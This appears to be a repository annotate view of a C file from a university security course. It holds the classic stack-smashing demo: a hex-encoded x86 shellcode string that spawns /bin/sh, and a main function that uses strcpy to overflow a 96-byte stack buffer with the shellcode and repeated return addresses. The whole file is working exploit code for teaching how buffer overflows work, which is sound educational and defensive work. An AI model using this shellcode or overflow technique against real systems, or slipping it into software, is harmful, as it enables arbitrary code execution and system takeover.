progs/C3.c
author Christian Urban <christian dot urban at kcl dot ac dot uk>
Sat, 27 Dec 2014 04:10:36 +0000
changeset 360 eb2004430215
parent 230 603cbd28e988
child 400 f05368d007dd
permissions -rw-r--r--
updated
Ignore whitespace changes - Everywhere: Within whitespace: At end of lines:
230
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
     1
char shellcode[] =
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
     2
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
     3
  "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
     4
  "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
     5
  "\xff\xff/bin/sh";
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
     6
char large_string[128];
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
     7
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
     8
void main() {
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
     9
  char buffer[96];
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
    10
  int i;
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
    11
  long *long_ptr = (long *) large_string;
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
    12
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
    13
  for (i = 0; i < 32; i++)
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
    14
    *(long_ptr + i) = (int) buffer;
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
    15
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
    16
  for (i = 0; i < strlen(shellcode); i++)
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
    17
    large_string[i] = shellcode[i];
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
    18
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
    19
  strcpy(buffer,large_string);
603cbd28e988 updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 105
diff changeset
    20
}